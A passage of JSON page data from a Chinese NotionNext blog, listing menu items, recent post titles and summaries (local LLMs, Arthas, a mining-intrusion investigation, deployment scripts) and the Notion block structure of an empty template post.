2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"163026f4-445a-4595-936d-c0df491c3776","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/example-6","tags":["金钱","推荐"],"summary":"仅供列表展示、文章无内容","title":"空白文章6","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:50.804Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random/720x480/?encryption\u0026t=163026f4-445a-4595-936d-c0df491c3776","pageCoverThumbnail":"https://source.unsplash.com/random/720x480/?encryption\u0026t=163026f4-445a-4595-936d-c0df491c3776","tagItems":[{"name":"金钱","color":"green"},{"name":"推荐","color":"red"}],"password":"","blockMap":{"block":{"163026f4-445a-4595-936d-c0df491c3776":{"value":{"id":"163026f4-445a-4595-936d-c0df491c3776","version":7,"type":"page","content":["8047ce49-8a30-43e3-ae21-1a9913da3140","30cd7c33-dc56-4b4b-962b-2445a6442ec8","7d8e2c2d-6ec5-4435-8dbc-af87d0101c8c","3bb7258a-b966-4595-a9c8-f254caf970ec","c302ba58-b227-4a75-9ae7-2697a421adf0","85a4674e-83bc-45a6-85b1-cb3f9525c3ec","bf1909a4-a0de-493c-ac25-506087ec7d28","4bd64c59-8abe-4d30-910a-e3730c858da7","339d9b2f-800f-415d-bd76-cd80db3150fe","6eca53c5-d3c1-48c6-8a9e-a093eeba75f4","b1e27fb8-1c5f-4345-990a-a5bcbaecbe50","b68e787c-2062-418d-9c64-cc9199e0dba4","0b50d24f-c00e-46ee-bd81-073a69126edb","7099f78d-a822-4a4d-b53e-c01dd966f30d"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random/720x480/?encryption","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"2e68569d-c502-4d53-8c89-9606c883d6e7","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.5},"created_time":1705594337110,"last_edited_time":1705630790804,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"2e68569d-c502-4d53-8c89-9606c883d6e7","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"8047ce49-8a30-43e3-ae21-1a9913da3140":{"value":{"id":"8047ce49-8a30-43e3-ae21-1a9913da3140","type":"callout","properties":{"title":[["这里写文章的前言:\n一个简单的开头,简述这篇文章讨论的问题、目标、人物、背景是什么?并简述你给出的答案。"]]},"content":["267f685c-37ea-403e-9557-8da4bdd04efb"],"format":{"page_icon":"😀","block_color":"gray_background","copied_from_pointer":{"id":"3233cb38-a8e0-4f4f-a87e-402b09a26292","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"3233cb38-a8e0-4f4f-a87e-402b09a26292"}},"267f685c-37ea-403e-9557-8da4bdd04efb":{"value":{"id":"267f685c-37ea-403e-9557-8da4bdd04efb","type":"text","properties":{"title":[["可以说说你的故事:阻碍、努力、结果成果,意外与转折。"]]},"format":{"copied_from_pointer":{"id":"4d4d1db1-10ef-45e0-93bb-e4f58d53101e","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337148,"last_edited_time":1705594337148,"parent_id":"8047ce49-8a30-43e3-ae21-1a9913da3140","parent_table":"block","alive":true,"copied_from":"4d4d1db1-10ef-45e0-93bb-e4f58d53101e"}},"30cd7c33-dc56-4b4b-962b-2445a6442ec8":{"value":{"id":"30cd7c33-dc56-4b4b-962b-2445a6442ec8","type":"text","format":{"copied_from_pointer":{"id":"7b847234-b0ad-4041-b976-d286f51b8732","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"7b847234-b0ad-4041-b976-d286f51b8732"}},"7d8e2c2d-6ec5-4435-8dbc-af87d0101c8c":{"value":{"id":"7d8e2c2d-6ec5-4435-8dbc-af87d0101c8c","type":"header","properties":{"title":[["📝 主旨内容"]]},"format":{"copied_from_pointer":{"id":"4e0cdf02-c99f-4e35-bef6-ce11ffae8082","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"4e0cdf02-c99f-4e35-bef6-ce11ffae8082"}},"3bb7258a-b966-4595-a9c8-f254caf970ec":{"value":{"id":"3bb7258a-b966-4595-a9c8-f254caf970ec","type":"sub_header","properties":{"title":[["观点1"]]},"format":{"copied_from_pointer":{"id":"51ee0915-53cf-42b0-a00b-6f6b368ff1bf","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"51ee0915-53cf-42b0-a00b-6f6b368ff1bf"}},"c302ba58-b227-4a75-9ae7-2697a421adf0":{"value":{"id":"c302ba58-b227-4a75-9ae7-2697a421adf0","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"8aed2dc6-1284-4273-87d7-e2ea75457ebb","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"8aed2dc6-1284-4273-87d7-e2ea75457ebb"}},"85a4674e-83bc-45a6-85b1-cb3f9525c3ec":{"value":{"id":"85a4674e-83bc-45a6-85b1-cb3f9525c3ec","type":"sub_header","properties":{"title":[["观点2"]]},"format":{"copied_from_pointer":{"id":"8430b001-e224-4c1e-995b-a4459d355d59","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"8430b001-e224-4c1e-995b-a4459d355d59"}},"bf1909a4-a0de-493c-ac25-506087ec7d28":{"value":{"id":"bf1909a4-a0de-493c-ac25-506087ec7d28","type":"quote","properties":{"title":[["引用的话语"]]},"format":{"copied_from_pointer":{"id":"d38a3fcf-2ced-4a62-adde-0a79ad02994b","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"d38a3fcf-2ced-4a62-adde-0a79ad02994b"}},"4bd64c59-8abe-4d30-910a-e3730c858da7":{"value":{"id":"4bd64c59-8abe-4d30-910a-e3730c858da7","type":"header","properties":{"title":[["🤗 总结归纳"]]},"format":{"copied_from_pointer":{"id":"6185443c-dce5-4892-a033-ca6a0d082e98","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"6185443c-dce5-4892-a033-ca6a0d082e98"}},"339d9b2f-800f-415d-bd76-cd80db3150fe":{"value":{"id":"339d9b2f-800f-415d-bd76-cd80db3150fe","type":"text","properties":{"title":[["总结文章的内容"]]},"format":{"copied_from_pointer":{"id":"ce4db5e5-c0f9-4f35-b894-4546a5ad8712","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"ce4db5e5-c0f9-4f35-b894-4546a5ad8712"}},"6eca53c5-d3c1-48c6-8a9e-a093eeba75f4":{"value":{"id":"6eca53c5-d3c1-48c6-8a9e-a093eeba75f4","type":"header","properties":{"title":[["📎 参考文章"]]},"format":{"copied_from_pointer":{"id":"c4e5a7e1-ef39-4f11-82cb-6a7adb02d6ee","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"c4e5a7e1-ef39-4f11-82cb-6a7adb02d6ee"}},"b1e27fb8-1c5f-4345-990a-a5bcbaecbe50":{"value":{"id":"b1e27fb8-1c5f-4345-990a-a5bcbaecbe50","type":"bulleted_list","properties":{"title":[["一些引用"]]},"format":{"copied_from_pointer":{"id":"e022a548-e4f7-4a02-907d-a22d73d64353","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"e022a548-e4f7-4a02-907d-a22d73d64353"}},"b68e787c-2062-418d-9c64-cc9199e0dba4":{"value":{"id":"b68e787c-2062-418d-9c64-cc9199e0dba4","type":"bulleted_list","properties":{"title":[["引用文章"]]},"format":{"copied_from_pointer":{"id":"91e73644-592b-4b87-9915-1da4eb96159b","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"91e73644-592b-4b87-9915-1da4eb96159b"}},"0b50d24f-c00e-46ee-bd81-073a69126edb":{"value":{"id":"0b50d24f-c00e-46ee-bd81-073a69126edb","type":"text","format":{"copied_from_pointer":{"id":"9b354478-3f05-4212-bfb6-b9149f7db5ad","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337117,"last_edited_time":1705594337117,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"9b354478-3f05-4212-bfb6-b9149f7db5ad"}},"7099f78d-a822-4a4d-b53e-c01dd966f30d":{"value":{"id":"7099f78d-a822-4a4d-b53e-c01dd966f30d","type":"callout","properties":{"title":[["有关Notion安装或者使用上的问题,欢迎您在底部评论区留言,一起交流~"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"e3832ae8-c130-471b-8f41-ee029da590e6","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"}},"created_time":1705594337118,"last_edited_time":1705594337118,"parent_id":"163026f4-445a-4595-936d-c0df491c3776","parent_table":"block","alive":true,"copied_from":"e3832ae8-c130-471b-8f41-ee029da590e6"}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","version":13,"name":[["Both Savage"]],"description":[["一个NotionNext搭建的博客"]],"schema":{"@NcA":{"name":"password","type":"text"},"Dj]h":{"name":"icon","type":"text"},"NX\\Q":{"name":"date","type":"date","date_format":"YYYY/MM/DD"},"`gQ~":{"name":"type","type":"select","options":[{"id":"5aff2f95-fd1e-489b-8840-bf10bc9519cb","color":"purple","value":"Post"},{"id":"374d2bc6-a144-4832-8ca4-474aaae0ea1f","color":"orange","value":"Page"},{"id":"95b7fea5-98b3-476e-892f-79e8f36d0633","color":"brown","value":"Notice"},{"id":"2287395b-9f64-4852-b46f-ff3df4b4acef","color":"yellow","value":"Menu"},{"id":"50fefd65-c28e-4806-9183-aa12995f11f3","color":"pink","value":"SubMenu"},{"id":"b945f57d-dbcc-4603-9fab-5cfe447aad1b","color":"red","value":"CONFIG"}]},"bB{M":{"name":"category","type":"select","options":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","color":"pink","value":"知行合一"},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","color":"purple","value":"技术分享"},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","color":"orange","value":"心情随笔"},{"id":"9b3140e8-d1e6-414f-b86f-04f85b811596","color":"red","value":"未发布"}]},"d]hq":{"name":"slug","type":"text"},"sD^m":{"name":"tags","type":"multi_select","options":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","color":"red","value":"推荐"},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","color":"brown","value":"文字"},{"id":"438bae9c-df52-4fb0-8288-791c5ee8625c","color":"yellow","value":"思考"},{"id":"4ae52b3d-6ee9-4af5-9b79-0b7644adf259","color":"orange","value":"新闻"},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","color":"pink","value":"工具"},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","color":"pink","value":"开发"},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","color":"brown","value":"建站"},{"id":"569a8035-8738-40e8-a317-d6a6375f0b35","color":"green","value":"金钱"},{"id":"b39c0d81-6d40-4474-83fe-d8f44746a2d1","color":"pink","value":"健康"},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","color":"gray","value":"docker"},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","color":"blue","value":"自动化"},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","color":"purple","value":"折腾"},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","color":"default","value":"git"},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","color":"red","value":"日志"},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","color":"red","value":"微服务"},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","color":"purple","value":"spring"},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","color":"blue","value":"skywalking"}]},"wz|S":{"name":"summary","type":"text"},"title":{"name":"title","type":"title"},"f211bdc0-ee00-4186-9a7d-f68c055ec2ee":{"name":"status","type":"select","options":[{"id":"7abc61d4-b405-480d-b699-12588755fa65","color":"red","value":"Published"},{"id":"d1242312-e0a8-456d-b8f0-6e998e2c4fb2","color":"orange","value":"Invisible"},{"id":"41d5f5c6-b53c-42bc-8e0f-fc9402048480","color":"yellow","value":"Draft"}]}},"icon":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c5ebdc5a-c3fd-403e-906b-17d64db6d01f/favicon.ico","cover":"/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","format":{"copied_from_pointer":{"id":"9c953404-2685-4385-a433-b3ca351ebfbb","table":"collection","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"property_visibility":[{"property":"`gQ~","visibility":"show"},{"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee","visibility":"show"},{"property":"NX\\Q","visibility":"show"},{"property":"d]hq","visibility":"show"},{"property":"wz|S","visibility":"show"},{"property":"sD^m","visibility":"show"},{"property":"bB{M","visibility":"show"},{"property":"Dj]h","visibility":"hide_if_empty"},{"property":"uHoD","visibility":"show"},{"property":"kiCR","visibility":"hide"}],"collection_cover_position":0.3,"collection_page_properties":[{"visible":false,"property":"`gQ~"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"Dj]h"},{"visible":true,"property":"@NcA"},{"visible":true,"property":"ckw_"}],"collection_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"file_ids":["6cf3dc36-2f98-4f0e-9679-1bdbb1485129","5520bd92-e709-4c0d-ad58-06923f23f7e9","624d393a-62e3-4464-a1bf-1c79ecd4fbda","d52f6766-3e32-4c3d-8529-46e1f214360f","abe3a0aa-2aff-4274-81bb-c2443d4ef9e2","a2a32795-101d-46aa-a7f6-eb35b8750166","ebb540b3-6c46-422b-b2ed-f834e98fa189","c5ebdc5a-c3fd-403e-906b-17d64db6d01f"],"copied_from":"9c953404-2685-4385-a433-b3ca351ebfbb","template_pages":["77f4d759-8660-4888-8d35-4214be459ba1"],"migrated":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"space":{},"collection_view":{"8e40545c-4d1c-4299-8605-c04d7ab6872f":{"value":{"id":"8e40545c-4d1c-4299-8605-c04d7ab6872f","version":18,"type":"table","name":"Table","format":{"table_properties":[{"width":219,"visible":true,"property":"title"},{"width":222,"visible":true,"property":"wz|S"},{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_frozen_column_index":-1,"collection_view_default_template":{"template_page_id":"77f4d759-8660-4888-8d35-4214be459ba1"}},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["cc459e5b-0f15-4a0c-83db-bb6bf2001aa3","a9bfecc8-9761-4987-9aca-af79d4ebbd0c","7aa40ad8-1e69-4d56-b245-d135d3101cec","e4eefa7d-e2f2-44ed-83f6-fd6951d50900","0f9b7a0d-ad15-4ece-8a8b-948d96b50ff7","58a216ce-4d8d-4b60-906c-6097c5fd8d41","b824f35b-aee9-4a22-81c9-d44b65f99f43","ba565c08-0d2f-46cb-9fcb-5eeface44dfb","560c76dd-c69f-429b-827d-7974407bb23f","0533a861-81cc-40fa-8ab8-5be721800b86","3578fa31-ea0a-4e07-82dc-28704e0dc685","f2625c60-ca69-493b-858c-bf38979f468c","96b14e20-e592-42f6-b7d2-357f4693f18c","fe8fafec-6d1b-4fbb-8a7a-fb079a6bb8e4","9345db3a-b8bd-4e02-b296-9734958eddb6","26e8ddc4-10b4-4765-a96d-e87290556164","840f0871-b58b-428d-8a28-0861947974b4","5787bc4f-06a4-4158-a27f-6c81fb9b1efe","e1bff221-486f-42c8-9cf3-6379f83f3510","2db01777-47d0-4230-bbe8-ef65ab694707","ab0d5acb-9230-4656-9c49-1aff13aba865","98330ff5-71d2-4ea9-945a-ba76fc282e9d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","4fae0653-be7f-4e10-91de-344f6c6d0a6b","62779828-3770-4944-923d-0e0a307d9cfe","e8fd9138-663d-415d-9684-24343fb3248f","e013510c-b3a7-4907-b4cd-118b118d30db","7e13a286-a275-4f48-b9d0-416c9b1368ce","38e3f997-dad9-46b8-99bb-d3042488821f","026c5c21-3604-4c0a-a13c-ccb9208e4815","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","d3216be6-1b27-40e7-8677-7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7